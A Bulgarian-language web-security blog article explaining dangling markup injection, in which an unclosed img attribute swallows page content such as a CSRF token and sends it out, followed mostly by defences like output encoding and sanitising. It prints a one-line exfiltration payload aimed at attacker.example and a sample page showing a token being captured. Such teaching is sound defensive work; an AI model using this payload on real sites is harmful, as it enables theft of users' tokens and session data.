Последната врата
Нито скрипт, нито стил. Как самата разметка изтича данни, и защо кодирането я спира.
Това е трета част от една неволна трилогия. В първата заключих скриптовете и се почувствах в безопасност. Във втората се оказа, че стилът също говори, и заключих и него. Логично беше да реша, че вече съм затворил всичко.
Не бях. Оставаше една врата, за която почти никой не мисли, защото е толкова базова, че изглежда невъзможно да е опасна. Самата разметка. HTML-ът, върху който стъпва всичко останало.
Има атака, която не иска нито JavaScript, нито CSS. Иска само едно: да оставиш непроверено съдържание да мине за HTML. Един незатворен таг, и браузърът сам изпраща тайна навън, докато чете страницата. Казва се dangling markup, тоест увиснала разметка, и е точно последната ключалка в тази поредица.
Както преди, няма да пиша наръчник за пакости. Ще покажа механизма, ще ти дам жив стенд, и ще прекараме края в защитата, която случайно е и най-простата от трите.
Заключих скриптовете. После стиловете. А разметката през цялото време държеше резервен ключ.
▶ ОТВОРИ ЖИВИЯ СТЕНД: ГЛЕДАЙ КАК ТАГ ПОГЛЪЩА ТОКЕН
Стендът е изолиран. Нищо не напуска браузъра ти.
Стендът е изолиран. Нищо не напуска браузъра ти.
01. Незатворената кавичка
HTML работи с отваряне и затваряне. Атрибутът
src="..." започва с кавичка и свършва с кавичка. А сега си представи, че някой вкара в страницата отваряща кавичка, но без затваряща.Браузърът не хвърля грешка. Той прави нещо по-лошо. Чете нататък, ред след ред, търсейки следваща кавичка, за да затвори атрибута. И всичко, което срещне по пътя, третира като част от стойността на този атрибут.
Ако този атрибут е
src на изображение, тогава браузърът тегли изображението, а „адресът“ на изображението вече съдържа всичко, което тагът е погълнал, включително тайни, които са били на страницата. Заявката тръгва към сървъра на нападателя, а заедно с нея и погълнатото.
HTML:
<img src="//attacker.example/collect?x=
Това е целият payload. Един ред, без затваряща кавичка. Браузърът поглъща от тази точка надолу, докато не удари следваща кавичка някъде в страницата.
02. Защо CSP не спира това
И тук е болезненото място, което връзва трите статии. В първата част заключих скриптовете с
script-src 'none'. Във втората добавих style-src. И двете са безсилни срещу dangling markup.Причината е проста и малко унизителна. Почти всеки CSP блокира скриптове, но честно позволява зареждане на изображения, за да не счупи функционалността на сайта. Тоест
img-src обикновено е отворен поне за собствения домейн. А на нападателя често му стига точно това.Dangling markup работи дори при строг CSP, не изисква изпълнение на JavaScript, и може да краде CSRF токени, сесийни идентификатори и други чувствителни данни. Точно защото не изпълнява код, минава покрай защитите, които всички настройваме срещу изпълнение на код.
Строихме стена срещу изпълнение на код. А тази атака не изпълнява код. Тя просто чете.
03. Какво точно изтича
Целта, както при CSS injection от предната статия, обикновено не е парола, а нещо, което вече седи в разметката. Класически пример е CSRF токенът в скрито поле.
Представи си форум, който показва коментари. Ако санитайзерът пропусне сурови HTML тагове, нападателят публикува коментар, който е всъщност незатворен
<img> таг. Коментарът се показва над формата с токена. Браузърът чете от коментара надолу, поглъща токена и го праща навън. И понеже коментарът е запазен, атаката засяга всеки, който отвори страницата.Точно това симулира стендът. Публикуваш „зловредния коментар“, гледаш как незатвореният таг оцветява токена
7F3A9-K2 в червено и как заявката отдолу го отнася. Токенът е измислен, адресът е несъществуващ, нищо не напуска страницата. Механизмът е автентичен.
HTML:
<p>Коментар: <img src="//attacker.example/collect?x=</p>
<input type="hidden" name="csrf" value="7F3A9-K2">
<p>Отговори по-долу...</p>
Незатворената кавичка след
x= поглъща всичко до следващата кавичка, а тя е чак в value="7F3A9-K2". Значи токенът влиза в адреса на изображението и заминава.04. Ако браузърът се съпротивлява
Честно е да се каже, че модерните браузъри вече не са напълно беззащитни. Chrome например има вградена защита срещу dangling markup, която блокира заявки, съдържащи определени символи, като сурови нови редове или ъглови скоби. Тоест ако погълнатото съдържание съдържа
< или нов ред, заявката често се блокира.Това обаче е частична преграда, не решение. Тя спира някои варианти, но не всички. Нападателят може да избере точка на инжекция, където до следващата кавичка няма ъглова скоба, а само чистата тайна. Освен това вариантите с
<base>, с form с target и с потребителско взаимодействие заобикалят част от тези защити.Изводът е същият като при CSS-а. Не разчитай браузърът да те спаси. Той забавя атаката, не я убива. Истинската защита е на твоя сървър.
05. Щитът: кодирай това, което показваш
Сега най-хубавата част от цялата трилогия. Защитата срещу тази атака е най-простата от трите и е толкова стара, колкото самия уеб. Кодирай изхода.
Когато сървърът вземе непроверено съдържание и го покаже, той трябва първо да превърне специалните символи в безобидни. Кавичката
" става ". Ъгловите скоби < и > стават < и >. И изведнъж незатвореният таг не е таг. Той е грозен низ на екрана, който браузърът показва като текст и нищо не поглъща.На стенда има превключвател „Кодирай изхода“. Включи го, публикувай пак, и гледай как същият payload става безобиден текст, а токенът остава зелен и невредим.
HTML:
<!-- Некодирано, опасно: -->
<img src="//attacker.example/collect?x=
<!-- Кодирано, безобидно: -->
<img src="//attacker.example/collect?x=
Това е същата защита, която спира и XSS. Не е екзотична, не изисква нов инструмент. Изисква дисциплина да я прилагаш навсякъде, където показваш чуждо съдържание.
CSP остава като втори ред, не като първи.
- Кодирай изхода при всяко извеждане на непроверено съдържание, това е главната защита
- Валидирай входа при пристигане, отхвърляй непълни и незатворени тагове
- Не разрешавай сурови HTML тагове в потребителско съдържание, използвай доказан санитайзер
- Дръж тайните, като CSRF токени, извън достъпната за поглъщане разметка, ако можеш
- Заключи
img-srcв CSP като втори ред, не като единствен
06. Границата на паниката
Пак да сложа мащаб. Тази атака изисква нападателят вече да може да вкара сурова разметка в твоята страница. Ако кодираш изхода си навсякъде и не пускаш сурови тагове, наивният сценарий не те засяга.
Опасна е за приложения с потребителско съдържание, което се показва на други хора. Форуми, коментари, профили, съобщения, всичко, което един потребител пише, а друг вижда. Ако си от тези, а повечето интересни сайтове са, кодирането на изхода не е екстра. То е основата.
Ако не си, поне вече знаеш третата врата и ще я провериш, преди да добавиш функция за коментари.
07. Трите ключалки, един урок
Ето и цялата трилогия, събрана в едно.
Част първа заключи скриптовете.
script-src 'none', нула JavaScript, и се почувствах в безопасност.Част втора показа, че стилът все пак изтича данни през селектори и
background:url(). Заключих и стиловете.Част трета показва, че и без скрипт, и без стил, самата разметка може да проговори през един незатворен таг.
Общият урок не е „забрани още един език“. Той е, че сигурността не е един ключ, който завърташ веднъж. Тя е хигиена на изхода. Не питай „кой език забраних“, а „кодирах ли това, което показвам, и валидирах ли това, което приемам“. Три различни атаки, три различни повърхности, но една и съща истина отдолу.
Не един ключ, а хигиена. Кодирай изхода, валидирай входа, не вярвай на нищо, което не си проверил.
08. Предизвикателството към DTGaraGe
Отвори стенда. Публикувай зловредния коментар и гледай токена как изтича. После включи „Кодирай изхода“ и публикувай пак. Виж как същата атака се превръща в безобиден текст.
После погледни собствения си проект. Показваш ли някъде съдържание, което друг човек е написал? Коментар, подпис, профил, съобщение? Отвори страницата, виж изходния код, и провери: кодирано ли е това, което потребителят е вкарал, или стои сурово в разметката?
- Кодираш ли изхода навсякъде, или само на някои места?
- Пускаш ли сурови HTML тагове в потребителско съдържание?
- Къде стоят тайните ти, и достъпни ли са за поглъщане?
С това затварям трилогията. Три статии, три ключалки, и едно заключение: заключваш не езици, а навици.
Ключови думи: dangling markup, scriptless injection, html injection, csrf, data exfiltration, output encoding, input validation, content-security-policy, img-src, xss defense, уеб сигурност, dtgarage
Източници: PortSwigger Web Security Academy (Dangling markup injection, Content Security Policy), HackTricks (Dangling Markup HTML scriptless injection), Kaspersky IT Encyclopedia (What is dangling markup), InstaTunnel (Dangling Markup Injection: Leaking CSRF Tokens Without JavaScript)
- PortSwigger - Dangling markup injection
- PortSwigger - Content Security Policy
- Kaspersky - What is dangling markup
- MDN - Content Security Policy
toni@dtgarage:~$ whoami
Тони Ангелчовски | Ексклузивно за DTGaraGe
toni@dtgarage:~$ cat LICENSE
Копирането и препубликуването без разрешение не е позволено.
toni@dtgarage:~$ ./support.sh
Подкрепи DTGaraGe и независимото техническо съдържание
toni@dtgarage:~$ █
Тони Ангелчовски | Ексклузивно за DTGaraGe
toni@dtgarage:~$ cat LICENSE
toni@dtgarage:~$ ./support.sh
toni@dtgarage:~$ █
Last edited: